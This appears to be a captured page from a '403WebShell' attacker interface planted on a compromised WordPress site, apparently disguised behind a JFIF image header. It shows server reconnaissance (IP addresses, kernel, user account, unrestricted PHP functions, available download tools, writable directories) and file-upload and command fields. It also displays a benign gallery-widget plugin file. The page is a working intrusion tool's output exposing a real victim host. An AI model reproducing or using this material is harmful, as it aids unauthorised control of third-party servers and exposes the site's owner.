????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/easy-media-gallery/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/easy-media-gallery/includes/easywidget.php
<?php

class emg_sc_widget extends WP_Widget {

    // Create Widget
    function __construct() {
		
		$widget_ops = array('classname' => 'widget_emg_sc_widget', 'description' => __( "Use this widget to display your media as a widget.") );
        $control_ops = array( 'width' => 295 );

		parent::__construct('emg-widget', __('Easy Media Gallery'), $widget_ops, $control_ops );
		
    }

    // Widget Content
    function widget( $args, $instance ) { 
	
        extract( $args );

			if ( isset ( $instance['emg_shortcode'] ) ) {
			
				$emgshortcode = $instance['emg_shortcode'];
				
				echo $before_widget;
				
				echo do_shortcode( $emgshortcode );
				
				echo $after_widget;

			}

     }

    // Update and save the widget
	function update( $new_instance, $old_instance ) {
		
		$instance = $old_instance;

		$instance['emg_shortcode'] = $new_instance['emg_shortcode'];

		return $instance;
	}
	

    // If widget content needs a form
    function form( $instance ) {
        //widgetform in backend
		$instance         = wp_parse_args( (array) $instance, array( 'emg_shortcode' => '' ) );
		$emg_shortcode = !empty( $instance['emg_shortcode'] ) ? esc_textarea( $instance['emg_shortcode'] ) : '';
		

            echo '<p><label for="'.$this->get_field_id('emg_shortcode').'">Make sure to generate the shortcode from post or page first, after that copy the shortcode and paste to the following field.</label>
                <textarea rows="5" class="widefat" id="'.$this->get_field_id('emg_shortcode').'" name="'.$this->get_field_name('emg_shortcode').'">'.$emg_shortcode.'</textarea>
            </p>';
    
    }
}


function emg_widget_init() {
	
	register_widget('emg_sc_widget');
	
}

add_action( 'widgets_init', 'emg_widget_init' );

?>

Youez - 2016 - github.com/yon3zu
LinuXploit